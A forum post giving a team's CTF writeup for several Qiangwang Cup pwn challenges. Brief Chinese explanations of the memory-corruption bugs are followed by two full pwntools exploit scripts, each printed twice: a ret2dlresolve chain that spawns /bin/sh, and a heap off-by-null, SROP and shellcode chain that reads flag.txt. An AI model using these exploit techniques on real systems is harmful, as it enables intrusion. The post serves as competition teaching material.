首页
社区
课程
招聘
[原创] 强网杯 几道pwn题的writeup by syclover
发表于: 2021-6-15 00:11 18717

[原创] 强网杯 几道pwn题的writeup by syclover

2021-6-15 00:11
18717

首先是利用strcpy把fd给覆盖为0

image-20210614235710694

然后read hello_boy 通过检测

image-20210614235737470

接着触发算数运算错误

image-20210614235803187

就能进入栈溢出函数

image-20210614235822580

最后就是直接用32位ret2dlresolve的模板了

限制点:glibc2.27,用seccomp禁掉了exec

漏洞点:edit函数有个隐性的off by null,当我们填充完chunk,然后下一个chunk的size为最低字节刚好为0x11时就能触发

image-20210614235918107

然后我们依次把prev_size位高位清零,就能伪造prev_size,从而通过unlink实现overlap

利用思路:off by null 加 unlink 就能实现overlap,从而任意地址写,show函数有个加密

image-20210615000102350

用z3解就行,把一个unsortedbin申请回来再show它的fd,就能泄露libc,最后套SROP读flag.txt的模板即可

漏洞点在add和free chunk时没有检测下标

image-20210615000224472

image-20210615000246528

所以我们可以填负数直接写free函数的GOT表,由于给了rwx权限

image-20210615000319291

可以直接写shellcode执行,最后shellcode拓展攻击写orw

image-20210615000442530

第一段shellcode必须可打印,先mmap出来一块32位可访问内存,读入第二段shellcode, 第二段可以不要求可打印了,这一段主要是为了配合retfq跳到32位执行,

然后到32位以后可以使用open系统调用了,再跳回64位,这时候可以直接retfq到下一句,可以写一起,然后64位下可以read进来flag, 然后使用一段cmp + jz的形式写一段比较,如果flag对应位正确的话死循环,这样可以通过程序是否崩溃判断正确,于是可以进行爆破。

漏洞主要是写入data的时候v1是有符号16位,

image-20210615000744412

后面进入函数以后是无符号整数, 会从int 16为拓展为unsigned int 64,

image-20210615000828304

image-20210615000934457

这里的绕过可以在前面if (size <= v1) 使用v1为负数, 然后进入my_read 函数以后截取后部分这里会拓展为int类型, 这时候可以让后半部分为正数, 我们构造出来一个0xf0f00f0f的输入, 即可在后面实现my_read(buf, 0x0f0f) 的溢出,

配合堆风水,改掉对应的pipe->data位, 实现任意地址写

 
 
 
 
 
 
 
 
from pwn import *
arch      = 32
challenge = "./test"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
    r = process(challenge)
    #r = gdb.debug(challenge,"break main")
    #libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    elf = ELF(challenge)
else:
    #libc = ELF("./libc.so.6")
    r = remote("39.105.138.97",1234)
    elf = ELF(challenge)
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
p   = lambda      : pause()
s   = lambda x    : success(x)
re  = lambda x     : r.recv(x)
ru  = lambda x    : r.recvuntil(x)
rl  = lambda      : r.recvline()
sd  = lambda x    : r.send(x)
sl  = lambda x    : r.sendline(x)
itr  = lambda      : r.interactive()
sla = lambda a, b : r.sendlineafter(a, b)
sa  = lambda a, b : r.sendafter(a, b)
leave_ret = 0x080491a5
bss_stage = elf.bss() + 0x200
fake_ebp = bss_stage
offset = 0x4c-8+8
#read_plt  = elf.plt["read"]
 
#gdb.attach(r)
p1 = b"\x00" * 0x30
sd(p1)
sleep(1)
sd(b'A' * 0x20)
str1 = b'hello_boy'
str1 = str1.ljust(0x10,b'\x00')
sd(str1)
sl("-2147483648")
sl("-1")
sleep(0.1)
 
read_plt = 0x80490C4
 
ppp_ret = 0x08049581 # ROPgadget --binary test --only "pop|ret"
pop_ebp_ret = 0x08049583
leave_ret = 0x080491a5 # ROPgadget --binary test --only "leave|ret"
 
stack_size = 0x800
bss_addr = 0x0804c040 # readelf -S test | grep ".bss"
base_stage = bss_addr + stack_size
 
 
payload = flat('A' * offset
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(base_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.send(payload)
 
cmd = "/bin/sh"
plt_0 = 0x8049030 # objdump -d -j .plt test
rel_plt = 0x8048414 # objdump -s -j .rel.plt test
dynsym = 0x08048248  # readelf -S test
strtab = 0x08048318 #readelf -S test
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['read']
 
align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'system\x00'
 
payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage + 80)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
#pause()
r.send(payload2)
r.interactive()
from pwn import *
arch      = 32
challenge = "./test"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
    r = process(challenge)
    #r = gdb.debug(challenge,"break main")
    #libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    elf = ELF(challenge)
else:
    #libc = ELF("./libc.so.6")
    r = remote("39.105.138.97",1234)
    elf = ELF(challenge)
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
p   = lambda      : pause()
s   = lambda x    : success(x)
re  = lambda x     : r.recv(x)
ru  = lambda x    : r.recvuntil(x)
rl  = lambda      : r.recvline()
sd  = lambda x    : r.send(x)
sl  = lambda x    : r.sendline(x)
itr  = lambda      : r.interactive()
sla = lambda a, b : r.sendlineafter(a, b)
sa  = lambda a, b : r.sendafter(a, b)
leave_ret = 0x080491a5
bss_stage = elf.bss() + 0x200
fake_ebp = bss_stage
offset = 0x4c-8+8
#read_plt  = elf.plt["read"]
 
#gdb.attach(r)
p1 = b"\x00" * 0x30
sd(p1)
sleep(1)
sd(b'A' * 0x20)
str1 = b'hello_boy'
str1 = str1.ljust(0x10,b'\x00')
sd(str1)
sl("-2147483648")
sl("-1")
sleep(0.1)
 
read_plt = 0x80490C4
 
ppp_ret = 0x08049581 # ROPgadget --binary test --only "pop|ret"
pop_ebp_ret = 0x08049583
leave_ret = 0x080491a5 # ROPgadget --binary test --only "leave|ret"
 
stack_size = 0x800
bss_addr = 0x0804c040 # readelf -S test | grep ".bss"
base_stage = bss_addr + stack_size
 
 
payload = flat('A' * offset
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(base_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.send(payload)
 
cmd = "/bin/sh"
plt_0 = 0x8049030 # objdump -d -j .plt test
rel_plt = 0x8048414 # objdump -s -j .rel.plt test
dynsym = 0x08048248  # readelf -S test
strtab = 0x08048318 #readelf -S test
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['read']
 
align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐(即两者的差值能被16整除),因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7,通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'system\x00'
 
payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage + 80)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
#pause()
r.send(payload2)
r.interactive()
 
 
 
 
 
 
from pwn import *
from z3 import *
context.log_level = 'debug'
context.arch = 'amd64'
context.binary = './babypwn'
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#sh = process("./babypwn")
#print(libc.sym['_IO_2_1_stdout_'])
#libc = ELF('./libc-2.31.so')
sh =remote("39.105.130.158",8888)
 
 
def solve(target):
    a1 = BitVec('a1', 33)
    ori_a1 = a1
    for i in range(2):
        item1 = (32 * a1) & 0xffffffff
        a1 ^= item1 ^ (((a1 ^ item1) >> 17) & 0xffffffff) ^ (((item1 ^ a1 ^ (((a1 ^ item1) >> 17) & 0xffffffff)) << 13) & 0xffffffff)
    s = Solver()
    s.add(a1 == target)
    s.check()
    result = s.model()
    return result[ori_a1].as_long()
 
 
def add(size):
    sh.sendlineafter(">>> ","1")
    sh.sendafter("size:\n",str(size))
 
def delete(index):
    sh.sendlineafter(">>> ","2")
    sh.sendlineafter("index:\n",str(index))
 
def edit(index,data):
    sh.sendlineafter(">>> ","3")
    sh.sendlineafter("index:\n",str(index))
    sh.sendafter("content:\n",data)
 
def show(index):
    sh.sendlineafter(">>> ","4")
    sh.sendlineafter("index:",str(index))
    sh.recvuntil('\n')
    re1 = int(sh.recvuntil("\n")[:-1],16)
    re1 = solve(re1)
    re2 = int(sh.recvuntil("\n")[:-1],16)
    re2 = solve(re2) * 0x100000000
    return (re1+re2)
    #return int(sh.recvuntil("\n")[:-1],16)
 
def debug():
    gdb.attach(sh)
    pause()
 
 
for i in range(7):
    add(0x100# 0-6
 
for i in range(7):
    add(0xf0)
for i in range(7):
    delete(i+7)
 
 
add(0x108) #7
add(0x80) #8
add(0x108) #9
add(0x100) #10
add(0x100) #11
edit(10,b'a'*0xf0+p64(256)+p64(0x21))
edit(11,b'\x21'*0x10)
edit(9,'a'*0x108)
edit(9,'a'*0x107+'\x11')
edit(9,'a'*0x106+'\x11')
edit(9,'a'*0x105+'\x11')
edit(9,'a'*0x104+'\x11')
edit(9,'a'*0x103+'\x11')
edit(9,'a'*0x102+'\x11')
edit(9,'a'*0x100+'\xb0\x02')
for i in range(7):
    delete(i)
#edit(7,b'a'*0x100+p64(0x110))
delete(7)
delete(10)
#debug()
delete(8)
add(0x190) #0
libc_base = show(9) - libc.sym['__malloc_hook'] - 0x10 -96
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
#debug()
edit(0,b'\x00'*0x100+p64(0)+p64(0x90)+p64(free_hook))
add(0x80) #1
add(0x80) #2
setcontext = libc_base + libc.symbols['setcontext']
success("setcontext: " + hex(setcontext))
context.arch = "amd64"
new_execve_env = free_hook & 0xfffffffffffff000
shellcode1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000
 
mov eax, 0
syscall
 
jmp rsi
''' % new_execve_env
edit(2, p64(setcontext+53)+ p64(free_hook + 0x10) + asm(shellcode1))
#print(hex(free_hook))
#debug()
frame = SigreturnFrame()
frame.rsp = free_hook + 8
frame.rip = libc_base + libc.symbols['mprotect'] # 0xa8 rcx
frame.rdi = new_execve_env
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
#frame = frame.decode('ascii')
edit(11,bytes(frame))
#debug()
delete(11)
 
shellcode = ""
shellcode += shellcraft.open('flag.txt')
shellcode += shellcraft.read(3, 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
payload = asm(shellcode)
 
sh.sendline(payload)
sh.interactive()
from pwn import *
from z3 import *
context.log_level = 'debug'
context.arch = 'amd64'
context.binary = './babypwn'
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#sh = process("./babypwn")
#print(libc.sym['_IO_2_1_stdout_'])
#libc = ELF('./libc-2.31.so')
sh =remote("39.105.130.158",8888)
 
 
def solve(target):
    a1 = BitVec('a1', 33)
    ori_a1 = a1
    for i in range(2):
        item1 = (32 * a1) & 0xffffffff
        a1 ^= item1 ^ (((a1 ^ item1) >> 17) & 0xffffffff) ^ (((item1 ^ a1 ^ (((a1 ^ item1) >> 17) & 0xffffffff)) << 13) & 0xffffffff)
    s = Solver()
    s.add(a1 == target)
    s.check()
    result = s.model()
    return result[ori_a1].as_long()
 
 
def add(size):
    sh.sendlineafter(">>> ","1")
    sh.sendafter("size:\n",str(size))
 
def delete(index):
    sh.sendlineafter(">>> ","2")
    sh.sendlineafter("index:\n",str(index))
 
def edit(index,data):
    sh.sendlineafter(">>> ","3")
    sh.sendlineafter("index:\n",str(index))
    sh.sendafter("content:\n",data)
 
def show(index):
    sh.sendlineafter(">>> ","4")
    sh.sendlineafter("index:",str(index))
    sh.recvuntil('\n')
    re1 = int(sh.recvuntil("\n")[:-1],16)
    re1 = solve(re1)
    re2 = int(sh.recvuntil("\n")[:-1],16)
    re2 = solve(re2) * 0x100000000
    return (re1+re2)
    #return int(sh.recvuntil("\n")[:-1],16)
 
def debug():
    gdb.attach(sh)
    pause()
 
 
for i in range(7):
    add(0x100# 0-6
 
for i in range(7):
    add(0xf0)
for i in range(7):
    delete(i+7)
 
 
add(0x108) #7
add(0x80) #8
add(0x108) #9
add(0x100) #10
add(0x100) #11
edit(10,b'a'*0xf0+p64(256)+p64(0x21))
edit(11,b'\x21'*0x10)
edit(9,'a'*0x108)
edit(9,'a'*0x107+'\x11')
edit(9,'a'*0x106+'\x11')
edit(9,'a'*0x105+'\x11')
edit(9,'a'*0x104+'\x11')
edit(9,'a'*0x103+'\x11')
edit(9,'a'*0x102+'\x11')
edit(9,'a'*0x100+'\xb0\x02')
for i in range(7):
    delete(i)
#edit(7,b'a'*0x100+p64(0x110))
delete(7)
delete(10)
#debug()
delete(8)
add(0x190) #0
libc_base = show(9) - libc.sym['__malloc_hook'] - 0x10 -96
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
#debug()
edit(0,b'\x00'*0x100+p64(0)+p64(0x90)+p64(free_hook))
add(0x80) #1
add(0x80) #2
setcontext = libc_base + libc.symbols['setcontext']
success("setcontext: " + hex(setcontext))
context.arch = "amd64"
new_execve_env = free_hook & 0xfffffffffffff000
shellcode1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000
 
mov eax, 0
syscall
 
jmp rsi
''' % new_execve_env
edit(2, p64(setcontext+53)+ p64(free_hook + 0x10) + asm(shellcode1))
#print(hex(free_hook))
#debug()
frame = SigreturnFrame()
frame.rsp = free_hook + 8
frame.rip = libc_base + libc.symbols['mprotect'] # 0xa8 rcx
frame.rdi = new_execve_env
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
#frame = frame.decode('ascii')
edit(11,bytes(frame))
#debug()
delete(11)
 
shellcode = ""
shellcode += shellcraft.open('flag.txt')
shellcode += shellcraft.read(3, 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2021-6-15 18:21 被77pray编辑 ,原因:
上传的附件:
收藏
免费 6
支持
分享
最新回复 (5)
雪    币: 6911
活跃值: (9069)
能力值: ( LV17,RANK:797 )
在线值:
发帖
回帖
粉丝
2
77带我
2021-6-15 00:12
0
雪    币: 39
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3

2021-6-15 09:57
0
雪    币: 39
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
作为帖子附件发一下,或者传到百度网盘,分享一下链接。
2021-6-15 09:58
0
雪    币: 1054
活跃值: (1772)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
5
mb_qrxptfqn 作为帖子附件发一下,或者传到百度网盘,分享一下链接。
已传
2021-6-15 18:22
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
6

 怎么判断是有符号数的?


最后于 2021-7-11 12:46 被jiejiee编辑 ,原因:
2021-7-3 20:41
0
游客
登录 | 注册 方可回帖
返回
//